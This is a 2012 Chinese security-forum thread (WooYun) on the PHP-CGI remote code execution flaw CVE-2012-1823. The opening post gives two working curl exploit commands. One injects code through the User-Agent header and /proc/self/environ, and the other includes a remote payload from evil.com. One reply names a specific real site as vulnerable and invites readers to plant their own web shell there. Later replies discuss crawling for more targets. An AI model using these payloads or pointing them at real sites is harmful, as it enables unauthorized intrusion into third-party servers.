当前位置:WooYun(白帽子技术社区) >> php >> CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战

CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战

GaRY | 2012-05-04 02:16

国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了使用-s参数读取源文件的poc。

另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。

那么利用它能做什么呢?我给出如下两个RCE的PoC方案:

1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt

经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。
各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。



分享到:
  1. 1#
    回复此人 感谢
    zeracker (多乌云、多机会!!! 微信公众号:301在路上) | 2012-05-04 03:21

    没人抢沙发?广告位出售。
    O(∩_∩)O哈哈~

  2. 2#
    回复此人 感谢
    Jannock (what?) | 2012-05-04 08:16

    这个位置也不错!呵呵。。。

  3. 3#
    回复此人 感谢
    Xhm1n9 | 2012-05-04 08:22

    漏洞成因有意思:)

  4. 4#
    回复此人 感谢
    Xhm1n9 | 2012-05-04 08:40

    http://gdfreenet.cn/new.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.test.com/2.txt
    这是个有漏洞的站,大家把网马地址换成自己的就成了

  5. 5#
    回复此人 感谢
    北北 (广告位招租) | 2012-05-04 10:14

    @Xhm1n9 终于找到个这样配的。。。

  6. 6#
    回复此人 感谢
    livers (如梦似幻) | 2012-05-04 10:18

    奇怪的搭配,有好的检测方式么

  7. 7#
    回复此人 感谢
    horseluke (微碌) | 2012-05-04 10:18

    有点安慰的是,FastCGI不受影响(经测试和经原文指出)。用CGI......国内好像是php普及之前的做法?

  8. 8#
    回复此人 感谢
    axis | 2012-05-04 10:28

    @horseluke 这种环境是有点难找了,但靠扫描撒网应该还是能捞上来一些。

  9. 9#
    回复此人 感谢
    rayh4c | 2012-05-04 10:37

    LFI proc/self/environ ~ nice trick!~

  10. 10#
    回复此人 感谢
    xnet | 2012-05-04 10:40

    @Xhm1n9 v5

  11. 11#
    回复此人 感谢
    CnCxzSec(衰仔) | 2012-05-04 11:17

    @axis @horseluke check this out http://weibo.com/1862533507/yhAyR4ZZC  

  12. 12#
    回复此人 感谢
    horseluke (微碌) | 2012-05-04 11:27

    @CnCxzSec(衰仔) 这个图,似乎只能说明Apache挂载了什么模块而已......最好的办法,是打印其phpinfo()看Server API是“CGI”还是“CGI/FastCGI”,后者才是表明运行于FastCGI上...

  13. 13#
    回复此人 感谢
    horseluke (微碌) | 2012-05-04 11:55

    @CnCxzSec(衰仔) phpinfo了一下,竟然是“CGI/FastCGI”,这下糊涂了...

  14. 14#
    回复此人 感谢
    霍家二爷 | 2012-05-04 11:58

    @axis 爬虫爬了快一个小时了,还没有爬到一个站,@Xhm1n9 @CnCxzSec(衰仔) ,你们怎么找的站?

  15. 15#
    回复此人 感谢
    CnCxzSec(衰仔) | 2012-05-04 12:25

    @horseluke 提到的Server API。http://weibo.com/1862533507/yhAZMAJMn @axis

  16. 16#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-04 12:38

    @CnCxzSec(衰仔) 你把地址贴上来吧,国外的没事儿

  17. 17#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-04 13:06

    http://www.php.net/archive/2012.php#id2012-05-03-1 8年的漏洞,多少中枪了啊

  18. 18#
    回复此人 感谢
    ReJeCt (互联网安全资深伪人;新浪微博 @魏-力) | 2012-05-04 14:26

    现在已经很少有这个古董了吧。大多数都跑fastCGI

  19. 19#
    回复此人 感谢
    GaRY | 2012-05-04 15:06

    @CnCxzSec(衰仔) 这个是wrapper的问题,本质上。包括图中的case,其实都是wrapper本身没有配置好,直接将cgi的argv传递了过去。

    目前我研究下来就是这样。你看所有的case都是有wrapper包裹的cgi,而不是直接webserver->cgi

  20. 20#
    回复此人 感谢
    youstar (admin) | 2012-05-04 16:02

    看了下老外那篇博客,大体上是这样的:用户提交的数据--->判定提交数据中是否有未编码的'='--(无)->对该字符串进行解析----->转义元字符---->生成命令参数列表---->提交给CGI程序
    问题所在:CGI需要判定是否在网络环境,是的话那么就不接受命令参数。

  21. 21#
    回复此人 感谢
    youstar (admin) | 2012-05-04 16:02

    不知道有没错,应该基本上是这样的

  22. 22#
    回复此人 感谢
    youstar (admin) | 2012-05-04 17:30

    @GaRY 赞同wrapper的问题

  23. 23#
    回复此人 感谢
    pangshenjie (whoami) | 2012-05-04 21:26

    @ReJeCt 貌似fastcgi有的也是有的。

  24. 24#
    回复此人 感谢
    Enjoy_Hacking (祖传黑客,包黑百站,专黑各种疑难杂站,无效全额退款) | 2012-05-05 01:13

    貌似在PHP文件后加-s访问后php文件就无法解析了

  25. 25#
    回复此人 感谢
    公子 | 2012-05-05 03:20

    貌似有一种后门就是 include php://input 这样的吧  

  26. 26#
    回复此人 感谢
    horseluke (微碌) | 2012-05-08 12:08

    @公子 ,@rayh4c 的exp就是用了这技巧: http://www.exploit-db.com/exploits/18836/

  27. 27#
    回复此人 感谢
    darksn0w | 2012-05-09 01:53

    已经有远程执行的exp了

  28. 28#
    回复此人 感谢
    w5r2 | 2012-09-22 21:16

    我了个去,你们这些老家伙!强烈鄙视所有楼上的!

  29. 29#
    回复此人 感谢
    小贱人 (资深菜鸟) | 2014-03-26 14:59

    学习了

  30. 30#
    回复此人 感谢
    小贱人 (资深菜鸟) | 2014-05-04 17:12

    mark

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录